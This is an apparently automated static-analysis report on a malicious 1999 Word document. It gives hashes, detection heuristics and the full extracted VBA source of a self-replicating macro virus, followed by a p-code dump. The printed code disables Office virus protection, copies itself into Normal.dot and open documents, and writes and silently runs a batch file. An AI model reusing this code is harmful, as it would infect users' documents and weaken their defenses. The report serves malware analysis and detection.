Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e7a57deab01ebb86…

MALICIOUS

Office (OLE)

45.5 KB Created: 1999-06-08 13:43:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ee1fcb80447d4865cde730dead66b1cc SHA-1: 71d2b400e1b5d7aed1027d882100aaafbd3a53b9 SHA-256: e7a57deab01ebb86f1a9e51acdf11a2584307e9e971d039a9d426a32eccb09f5
304 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro is designed to execute a payload using the Shell() function, which is a critical finding. The script also attempts to interact with system files and directories, indicating a downloader or dropper functionality. The presence of legacy WordBasic markers and AutoOpen/AutoClose macros suggests an older, but still functional, macro-based attack.

Heuristics 9

  • ClamAV: Doc.Trojan.IIS-19 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.IIS-19
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    a = Shell(windir & "\System\lo.bat", 0)
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    actdoche.VBComponents(t).CodeModule.deletelines 1, a
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    FullCodeN = "Sub AutoClose()" & Chr(13)
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    windir = Environ("windir")
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 44075 bytes
SHA-256: b2e5a3cad7b75c9f1cf33bac47394c6a376221f43be157f371a95376fad4e3cb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Modul1"
Sub AutoOpen()
'On Error GoTo eb
'MyName=SuperIISv1.3
a = Dir(NormalTemplate.FullName)
If a = "" Then GoTo NoSet
SetAttr NormalTemplate.FullName, vbNormal
NoSet:
Call Flitnic
eb:
End Sub
Sub ViewVbCode()
On Error GoTo NoDoc
Set opttt = Options
Set nmtmpl = NormalTemplate.VBProject
Set actdoche = ActiveDocument.VBProject
a = Dir(NormalTemplate.FullName)
If a = "" Then GoTo NoSet
SetAttr (NormalTemplate.FullName), vbNormal
NoSet:
Close #1
Open "c:\msdos.sys" For Input As #1
Do Until EOF(1)
Line Input #1, a
If Left(UCase(a), 7) = "WINDIR=" Then
l = Len(a)
windir = Mid(a, 8, l)
End If
Loop
Close #1
If windir = "" Then Exit Sub
'Clean Activedocument:
ms = actdoche.VBComponents.Count
For t = 1 To ms
ls = actdoche.VBComponents(t).CodeModule.countoflines
If ls > 3 Then l = actdoche.VBComponents(t).CodeModule.Lines(3, 1)
If UCase(l) = "'MYNAME=SUPERIISV1.3" Then
Acd = 1
Exit For
End If
Next t
a = actdoche.VBComponents.Item(t).CodeModule.countoflines
actdoche.VBComponents(t).CodeModule.deletelines 1, a
ActiveDocument.Saved = True
actdoche.VBComponents.Remove actdoche.VBComponents(t)
ActiveDocument.Saved = True
NoDoc:
'Clean NormalTemplate:
ms = nmtmpl.VBComponents.Count
For t2 = 2 To ms
ls = nmtmpl.VBComponents(t2).CodeModule.countoflines
If ls > 3 Then l = nmtmpl.VBComponents(t2).CodeModule.Lines(3, 1)
If UCase(l) = "'MYNAME=SUPERIISV1.3" Then
NormT = 1
Exit For
End If
Next t2
FileCopy windir & "\System\lo.sys", "c:\Troop.dat"
a = Shell(windir & "\System\lo.bat", 0)
For i = 1 To 2
al = nmtmpl.VBComponents(t2).CodeModule.countoflines
nmtmpl.VBComponents(t2).CodeModule.deletelines 1, al
Next i
nmtmpl.VBComponents.Remove nmtmpl.VBComponents(t2)
NormalTemplate.Saved = True
esub:
eb:
Application.ShowVisualBasicEditor = True
NoDocL:
opttt.SaveNormalPrompt = False
NormalTemplate.Saved = True
End Sub
Sub ToolsMacro()
On Error GoTo NoDoc
Set opttt = Options
Set nmtmpl = NormalTemplate.VBProject
Set actdoche = ActiveDocument.VBProject
a = Dir(NormalTemplate.FullName)
If a = "" Then GoTo NoSet
SetAttr (NormalTemplate.FullName), vbNormal
NoSet:
'Save ActiveDocument:
ms = actdoche.VBComponents.Count
For t = 1 To ms
ls = actdoche.VBComponents(t).CodeModule.countoflines
If ls > 3 Then l = actdoche.VBComponents(t).CodeModule.Lines(3, 1)
If UCase(l) = "'MYNAME=SUPERIISV1.3" Then
Acd = 1
Exit For
End If
Next t
If Acd = 1 Then
FullCodeD = "Sub AutoOpen" & Chr(13)
FullCodeN = "Sub AutoClose()" & Chr(13)
a = actdoche.VBComponents.Item(t).CodeModule.countoflines
For ii = 2 To a
l = actdoche.VBComponents.Item(t).CodeModule.Lines(ii, 1)
FullCodeN = FullCodeN & l & Chr(13)
FullCodeD = FullCodeD & l & Chr(13)
Next ii
End If
'Clean Activedocument:
a = actdoche.VBComponents(t).CodeModule.countoflines
actdoche.VBComponents(t).CodeModule.deletelines 1, a
ActiveDocument.Saved = True
ActiveDocument.Saved = True
NoDoc:
'Save NormalTemplate:
ms = nmtmpl.VBComponents.Count
For t2 = 1 To ms
ls = nmtmpl.VBComponents(t2).CodeModule.countoflines
If ls > 3 Then l = nmtmpl.VBComponents(t2).CodeModule.Lines(3, 1)
If UCase(l) = "'MYNAME=SUPERIISV1.3" Then
NormT = 1
Exit For
End If
Next t2
If NormT = 1 Then
FullCodeD = "Sub AutoOpen()" & Chr(13)
FullCodeN = "Sub AutoClose()" & Chr(13)
a = nmtmpl.VBComponents.Item(t2).CodeModule.countoflines
For iiii = 2 To a
l = nmtmpl.VBComponents.Item(t2).CodeModule.Lines(iiii, 1)
FullCodeD = FullCodeD & l & Chr(13)
FullCodeN = FullCodeN & l & Chr(13)
Next iiii
End If
'Clean NormalTemplate:
l = ""
On Error GoTo 0
On Error GoTo eb
a = nmtmpl.VBComponents(t2).CodeModule.countoflines
nmtmpl.VBComponents(t2).CodeModule.deletelines 1, a
NormalTemplate.Saved = True
esub:
Close #1
Open "c:\msdos.sys" For Input As #1
Do Until EOF(1)
Line Input #1, a
If Left(UCase(a), 7) = "WINDIR=" Then
l = Len(a)
windir = Mid(a, 8, l)
End If
Loop
Close #1
If windir = "" Then Exit Sub
a = GetAttr(NormalTemplate.FullName)
If a = 33 Then a = 1
If a = 1 Then GoTo eb
eb:
NormalTemplate.Saved = True
Application.Dialogs(wdDialogToolsMacro).Show
ReInf = True
If Application.ShowVisualBasicEditor = True Then ReInf = False
Reinfection:
If ReInf = True Then
'Reinfection:
Acd = 0
NormT = 0
If NormT <> 1 Then
NormalTemplate.OpenAsDocument
NormAt = ActiveDocument.ReadOnly
ActiveDocument.Close
Close #1
look:
ms = nmtmpl.VBComponents.Count
For inn = 2 To ms
a = nmtmpl.VBComponents(inn).CodeModule.countoflines
If a < 1 Then
nmtmpl.VBComponents(inn).CodeModule.AddFromstring (FullCodeN)
i = 20
Exit For
End If
Next inn
If i <> 20 Then
Close #1
a = Dir(windir & "\System\Flitnic.drv")
If a <> "" Then Kill windir & "\system\Flitnic.drv"
Close #1
Open windir & "\System\Flitnic.drv" For Append As #1
Print #1, "Attribute VB_Name = " & Chr(34) & "Modul1" & Chr(34)
Close #1
nmtmpl.VBComponents.Import windir & "\System\Flitnic.drv"
GoTo look
End If
a = Dir(NormalTemplate.FullName)
If a = "" Then GoTo notemp
If NormAt = True Then
NormalTemplate.Saved = True
End If
End If
i = 1
If NormAt <> True Then NormalTemplate.Save
notemp:
If Acd <> 1 Then
Close
look2:
a = Application.Documents.Count
If a < 1 Then GoTo NoDocL
ms = actdoche.VBComponents.Count
For inn2 = 2 To ms
a = actdoche.VBComponents(inn2).CodeModule.countoflines
If a < 1 Then
actdoche.VBComponents(inn2).CodeModule.AddFromstring (FullCodeD)
i = 20
Exit For
End If
Next inn2
If i <> 20 Then
Close #1
a = Dir(windir & "\System\Flitnic.drv")
If a <> "" Then Kill windir & "\system\Flitnic.drv"
Close #1
Open windir & "\System\Flitnic.drv" For Append As #1
Print #1, "Attribute VB_Name = " & Chr(34) & "Modul1" & Chr(34)
Close #1
actdoche.VBComponents.Import windir & "\System\Flitnic.drv"
GoTo look2
End If
If UCase(Left(ActiveDocument.FullName, 1)) <> "A" And Mid(ActiveDocument.FullName, 3, 1) = "\" Then
If ActiveDocument.ReadOnly = True Then GoTo noactsave
ActiveDocument.Save
noactsave:
Else
ActiveDocument.Saved = True
End If
End If
NoDocL:
Else
FileCopy windir & "\System\lo.sys", "c:\Troop.dat"
a = Shell(windir & "\System\lo.bat", 0)
For i = 1 To 2
al = nmtmpl.VBComponents(t2).CodeModule.countoflines
nmtmpl.VBComponents(t2).CodeModule.deletelines 1, al
NormalTemplate.Saved = True
Next i
End If
opttt.SaveNormalPrompt = False
NormalTemplate.Saved = True
End Sub
Sub Flitnic()
Begin:
On Error GoTo eb
Set opttt = Options
Set nmtmpl = NormalTemplate.VBProject
Set actdoche = ActiveDocument.VBProject
NormAt = False
VBE.CommandBars("Edit").Controls(1).Enabled = False
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
opttt.VirusProtection = False
opttt.ConfirmConversions = False
opttt.SaveNormalPrompt = False
Close #1
windir = Environ("windir")
On Error GoTo NoInf
ms = actdoche.VBComponents.Count
For t = 1 To ms
ls = actdoche.VBComponents(t).CodeModule.countoflines
If ls > 3 Then l = actdoche.VBComponents(t).CodeModule.Lines(3, 1)
If UCase(l) = "'MYNAME=SUPERIISV1.3" Then
Acd = 1
Exit For
End If
Next t
If Acd = 1 Then
FullCodeN = "Sub AutoClose()" & Chr(13)
a = actdoche.VBComponents.Item(t).CodeModule.countoflines
For ii = 2 To a
l = actdoche.VBComponents.Item(t).CodeModule.Lines(ii, 1)
FullCodeN = FullCodeN & l & Chr(13)
Next ii
End If
ms = nmtmpl.VBComponents.Count
For t2 = 1 To ms
ls = nmtmpl.VBComponents(t2).CodeModule.countoflines
If ls > 3 Then l = nmtmpl.VBComponents(t2).CodeModule.Lines(3, 1)
If UCase(l) = "'MYNAME=SUPERIISV1.3" Then
NormT = 1
Exit For
End If
Next t2
If NormT = 1 Then
FullCodeD = "Sub AutoOpen()" & Chr(13)
a = nmtmpl.VBComponents.Item(t2).CodeModule.countoflines
For iiii = 2 To a
l = nmtmpl.VBComponents.Item(t2).CodeModule.Lines(iiii, 1)
FullCodeD = FullCodeD & l & Chr(13)
Next iiii
End If
If NormT <> 1 Then
look:
ms = nmtmpl.VBComponents.Count
For inn = 2 To ms
a = nmtmpl.VBComponents(inn).CodeModule.countoflines
If a < 1 Then
nmtmpl.VBComponents(inn).CodeModule.AddFromstring (FullCodeN)
i = 20
Exit For
End If
Next inn
If i <> 20 Then
Close #1
a = Dir(windir & "\System\Flitnic.drv")
If a <> "" Then Kill windir & "\system\Flitnic.drv"
Close #1
Open windir & "\System\Flitnic.drv" For Append As #1
Print #1, "Attribute VB_Name = " & Chr(34) & "Modul1" & Chr(34)
Close #1
nmtmpl.VBComponents.Import windir & "\System\Flitnic.drv"
GoTo look
End If
a = Dir(windir & "\System\lo.sys")
If a <> "" Then Kill windir & "\System\lo.sys"
NormalTemplate.OpenAsDocument
NormAtt = ActiveDocument.ReadOnly
l = ""
On Error GoTo eb
ActiveDocument.SaveAs FileName:=windir & "\System\lo.sys", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
NormalTemplate.Saved = True
ActiveDocument.Saved = True
ActiveDocument.Close
Close #1
a = Dir(windir & "\System\lo.bat")
If a <> "" Then Kill windir & "\System\lo.bat"
Close
Open windir & "\System\lo.bat" For Append As #1
Print #1, ":Begin"
l = Len(NormalTemplate.FullName)
l = l - 10
For i = 1 To 500
Print #1, "rem Flitnic has cought you... he, he"
Next i
Print #1, ":Begin"
Print #1, "Move /y " & Chr(34) & "c:\Troop.dat" & Chr(34) & " " & Chr(34) & NormalTemplate.FullName & Chr(34)
Print #1, "If exist c:\Troop.dat goto Begin"
Close #1
NormalTemplate.Saved = True
a = Dir(NormalTemplate.FullName)
If a = "" Then GoTo notemp
If NormAt = True Then
End If
notemp:
End If
i = 1
If Acd <> 1 Then
Close
look2:
ms = actdoche.VBComponents.Count
For inn2 = 2 To ms
a = actdoche.VBComponents(inn2).CodeModule.countoflines
If a < 1 Then
actdoche.VBComponents(inn2).CodeModule.AddFromstring (FullCodeD)
i = 20
Exit For
End If
Next inn2
If i <> 20 Then
Close #1
a = Dir(windir & "\System\Flitnic.drv")
If a <> "" Then Kill windir & "\system\Flitnic.drv"
Close #1
Open windir & "\System\Flitnic.drv" For Append As #1
Print #1, "Attribute VB_Name = " & Chr(34) & "Modul1" & Chr(34)
Close #1
actdoche.VBComponents.Import windir & "\System\Flitnic.drv"
GoTo look2
End If
If UCase(Left(ActiveDocument.FullName, 1)) <> "A" And Mid(ActiveDocument.FullName, 3, 1) = "\" Then
If ActiveDocument.ReadOnly = True Then GoTo noactsave
ActiveDocument.Save
noactsave:
Else
ActiveDocument.Saved = True
End If
End If
NoInf:
eb:
a = Dir(NormalTemplate.FullName)
If a = "" Then
NormalTemplate.Saved = False
GoTo NoNormal
End If
If NormAtt = True Then
FileCopy windir & "\System\lo.sys", "c:\Troop.dat"
SetAttr (NormalTemplate.FullName), vbNormal
a = Shell(windir & "\System\lo.bat", 0)
Else
NormalTemplate.Save
End If
NormalTemplate.Saved = True
'The only real- stealth virus till 08. april 1999. Infects Normal.Dot when
'it's ReadOnly too (immediatly, the first time you load an infected
'Document
'Written by Flitnic, member of [S o S] No Payload included yet!
NoNormal:
End Sub


' Processing file: /tmp/qstore_a6lc7c4j
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/Modul1 - 18649 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	QuoteRem 0x0000 0x0010 "On Error GoTo eb"
' Line #2:
' 	QuoteRem 0x0000 0x0013 "MyName=SuperIISv1.3"
' Line #3:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ArgsLd Dir 0x0001 
' 	St a 
' Line #4:
' 	Ld a 
' 	LitStr 0x0000 ""
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo NoSet 
' 	EndIf 
' Line #5:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	Ld vbNormal 
' 	ArgsCall SetAttr 0x0002 
' Line #6:
' 	Label NoSet 
' Line #7:
' 	ArgsCall (Call) Flitnic 0x0000 
' Line #8:
' 	Label eb 
' Line #9:
' 	EndSub 
' Line #10:
' 	FuncDefn (Sub ViewVbCode())
' Line #11:
' 	OnError NoDoc 
' Line #12:
' 	SetStmt 
' 	Ld Options 
' 	Set opttt 
' Line #13:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	Set nmtmpl 
' Line #14:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	Set actdoche 
' Line #15:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ArgsLd Dir 0x0001 
' 	St a 
' Line #16:
' 	Ld a 
' 	LitStr 0x0000 ""
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo NoSet 
' 	EndIf 
' Line #17:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	Paren 
' 	Ld vbNormal 
' 	ArgsCall SetAttr 0x0002 
' Line #18:
' 	Label NoSet 
' Line #19:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #20:
' 	LitStr 0x000C "c:\msdos.sys"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Input)
' Line #21:
' 	LitDI2 0x0001 
' 	ArgsLd EOF 0x0001 
' 	DoUnitil 
' Line #22:
' 	LitDI2 0x0001 
' 	Ld a 
' 	LineInput 
' Line #23:
' 	Ld a 
' 	ArgsLd UCase 0x0001 
' 	LitDI2 0x0007 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0007 "WINDIR="
' 	Eq 
' 	IfBlock 
' Line #24:
' 	Ld a 
' 	FnLen 
' 	St l 
' Line #25:
' 	Ld a 
' 	LitDI2 0x0008 
' 	Ld l 
' 	ArgsLd Mid$ 0x0003 
' 	St windir 
' Line #26:
' 	EndIfBlock 
' Line #27:
' 	Loop 
' Line #28:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #29:
' 	Ld windir 
' 	LitStr 0x0000 ""
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ExitSub 
' 	EndIf 
' Line #30:
' 	QuoteRem 0x0000 0x0015 "Clean Activedocument:"
' Line #31:
' 	Ld actdoche 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	St ms 
' Line #32:
' 	StartForVariable 
' 	Ld t 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ms 
' 	For 
' Line #33:
' 	Ld t 
' 	Ld actdoche 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	MemLd countoflines 
' 	St ls 
' Line #34:
' 	Ld ls 
' 	LitDI2 0x0003 
' 	Gt 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld t 
' 	Ld actdoche 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St l 
' 	EndIf 
' Line #35:
' 	Ld l 
' 	ArgsLd UCase 0x0001 
' 	LitStr 0x0014 "'MYNAME=SUPERIISV1.3"
' 	Eq 
' 	IfBlock 
' Line #36:
' 	LitDI2 0x0001 
' 	St Acd 
' Line #37:
' 	ExitFor 
' Line #38:
' 	EndIfBlock 
' Line #39:
' 	StartForVariable 
' 	Ld t 
' 	EndForVariable 
' 	NextVar 
' Line #40:
' 	Ld t 
' 	Ld actdoche 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd countoflines 
' 	St a 
' Line #41:
' 	LitDI2 0x0001 
' 	Ld a 
' 	Ld t 
' 	Ld actdoche 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall deletelines 0x0002 
' Line #42:
' 	LitVarSpecial (True)
' 	Ld ActiveDocument 
' 	MemSt Saved 
' Line #43:
' 	Ld t 
' 	Ld actdoche 
' 	ArgsMemLd VBComponents 0x0001 
' 	Ld actdoche 
' 	MemLd VBComponents 
' 	ArgsMemCall Remove 0x0001 
' Line #44:
' 	LitVarSpecial (True)
' 	Ld ActiveDocument 
' 	MemSt Saved 
' Line #45:
' 	Label NoDoc 
' Line #46:
' 	QuoteRem 0x0000 0x0015 "Clean NormalTemplate:"
' Line #47:
' 	Ld nmtmpl 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	St ms 
' Line #48:
' 	StartForVariable 
' 	Ld t2 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	Ld ms 
' 	For 
' Line #49:
' 	Ld t2 
' 	Ld nmtmpl 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	MemLd countoflines 
' 	St ls 
' Line #50:
' 	Ld ls 
' 	LitDI2 0x0003 
' 	Gt 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld t2 
' 	Ld nmtmpl 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St l 
' 	EndIf 
' Line #51:
' 	Ld l 
' 	ArgsLd UCase 0x0001 
' 	LitStr 0x0014 "'MYNAME=SUPERIISV1.3"
' 	Eq 
' 	IfBlock 
' Line #52:
' 	LitDI2 0x0001 
' 	St NormT 
' Line #53:
' 	ExitFor 
' Line #54:
' 	EndIfBlock 
' Line #55:
' 	StartForVariable 
' 	Ld t2 
' 	EndForVariable 
' 	NextVar 
' Line #56:
' 	Ld windir 
' 	LitStr 0x000E "\System\lo.sys"
' 	Concat 
' 	LitStr 0x000C "c:\Troop.dat"
' 	ArgsCall FileCopy 0x0002 
' Line #57:
' 	Ld windir 
' 	LitStr 0x000E "\System\lo.bat"
' 	Concat 
' 	LitDI2 0x0000 
' 	ArgsLd Shell 0x0002 
' 	St a 
' Line #58:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	For 
' Line #59:
' 	Ld t2 
' 	Ld nmtmpl 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	MemLd countoflines 
' 	St al 
' Line #60:
' 	LitDI2 0x0001 
' 	Ld al 
' 	Ld t2 
' 	Ld nmtmpl 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall deletelines 0x0002 
' Line #61:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #62:
' 	Ld t2 
' 	Ld nmtmpl 
' 	ArgsMemLd VBComponents 0x0001 
' 	Ld nmtmpl 
' 	MemLd VBComponents 
' 	ArgsMemCall Remove 0x0001 
' Line #63:
' 	LitVarSpecial (True)
' 	Ld NormalTemplate 
' 	MemSt Saved 
' Line #64:
' 	Label esub 
' Line #65:
' 	Label eb 
' Line #66:
' 	LitVarSpecial (True)
' 	Ld Application 
' 	MemSt ShowVisualBasicEditor 
' Line #67:
' 	Label NoDocL 
' Line #68:
' 	LitVarSpecial (False)
' 	Ld opttt 
' 	MemSt SaveNormalPrompt 
' Line #69:
' 	LitVarSpecial (True)
' 	Ld NormalTemplate 
' 	MemSt Saved 
' Line #70:
' 	EndSub 
' Line #71:
' 	FuncDefn (Sub ToolsMacro())
' Line #72:
' 	OnError NoDoc 
' Line #73:
' 	SetStmt 
' 	Ld Options 
' 	Set opttt 
' Line #74:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	Set nmtmpl 
' Line #75:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	Set actdoche 
' Line #76:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ArgsLd Dir 0x0001 
' 	St a 
' Line #77:
' 	Ld a 
' 	LitStr 0x0000 ""
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo NoSet 
' 	EndIf 
' Line #78:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	Paren 
' 	Ld vbNormal 
' 	ArgsCall SetAttr 0x0002 
' Line #79:
' 	Label NoSet 
' Line #80:
' 	QuoteRem 0x0000 0x0014 "Save ActiveDocument:"
' Line #81:
' 	Ld actdoche 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	St ms 
' Line #82:
' 	StartForVariable 
' 	Ld t 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ms 
' 	For 
' Line #83:
' 	Ld t 
' 	Ld actdoche 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	MemLd countoflines 
' 	St ls 
' Line #84:
' 	Ld ls 
' 	LitDI2 0x0003 
' 	Gt 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld t 
' 	Ld actdoche 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St l 
' 	EndIf 
' Line #85:
' 	Ld l 
' 	ArgsLd UCase 0x0001 
' 	LitStr 0x0014 "'MYNAME=SUPERIISV1.3"
' 	Eq 
' 	IfBlock 
' Line #86:
' 	LitDI2 0x0001 
' 	St Acd 
' Line #87:
' 	ExitFor 
' Line #88:
' 	EndIfBlock 
' Line #89:
' 	StartForVariable 
' 	Ld t 
' 	EndForVariable 
' 	NextVar 
' Line #90:
' 	Ld Acd 
' 	LitDI2 0x0001 
' 	Eq 
' 	IfBlock 
' Line #91:
' 	LitStr 0x000C "Sub AutoOpen"
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St FullCodeD 
' Line #92:
' 	LitStr 0x000F "Sub AutoClose()"
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St FullCodeN 
' Line #93:
' 	Ld t 
' 	Ld actdoche 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd countoflines 
' 	St a 
' Line #94:
' 	StartForVariable 
' 	Ld ii 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	Ld a 
' 	For 
' Line #95:
' 	Ld ii 
' 	LitDI2 0x0001 
' 	Ld t 
' 	Ld actdoche 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St l 
' Line #96:
' 	Ld FullCodeN 
' 	Ld l 
' 	Concat 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St FullCodeN 
' Line #97:
' 	Ld FullCodeD 
' 	Ld l 
' 	Concat 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St FullCodeD 
' Line #98:
' 	StartForVariable 
' 	Ld ii 
' 	EndForVariable 
' 	NextVar 
' Line #99:
' 	EndIfBlock 
' Line #100:
' 	QuoteRem 0x0000 0x0015 "Clean Activedocument:"
' Line #101:
' 	Ld t 
' 	Ld actdoche 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	MemLd countoflines 
' 	St a 
' Line #102:
' 	LitDI2 0x0001 
' 	Ld a 
' 	Ld t 
' 	Ld actdoche 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall deletelines 0x0002 
' Line #103:
' 	LitVarSpecial (True)
' 	Ld ActiveDocument 
' 	MemSt Saved 
' Line #104:
' 	LitVarSpecial (True)
' 	Ld ActiveDocument 
' 	MemSt Saved 
' Line #105:
' 	Label NoDoc 
' Line #106:
' 	QuoteRem 0x0000 0x0014 "Save NormalTemplate:"
' Line #107:
' 	Ld nmtmpl 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	St ms 
' Line #108:
' 	StartForVariable 
' 	Ld t2 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ms 
' 	For 
' Line #109:
' 	Ld t2 
' 	Ld nmtmpl 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	MemLd countoflines 
' 	St ls 
' Line #110:
' 	Ld ls 
' 	LitDI2 0x0003 
' 	Gt 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld t2 
' 	Ld nmtmpl 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St l 
' 	EndIf 
' Line #111:
' 	Ld l 
' 	ArgsLd UCase 0x0001 
' 	LitStr 0x0014 "'MYNAME=SUPERIISV1.3"
' 	Eq 
' 	IfBlock 
' Line #112:
' 	LitDI2 0x0001 
' 	St NormT 
' Line #113:
' 	ExitFor 
' Line #114:
' 	EndIfBlock 
' Line #115:
' 	StartForVariable 
' 	Ld t2 
' 	EndForVariable 
' 	NextVar 
' Line #116:
' 	Ld NormT 
' 	LitDI2 0x0001 
' 	Eq 
' 	IfBlock 
' Line #117:
' 	LitStr 0x000E "Sub AutoOpen()"
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St FullCodeD 
' Line #118:
' 	LitStr 0x000F "Sub AutoClose()"
' 	LitDI2 0x000D 
…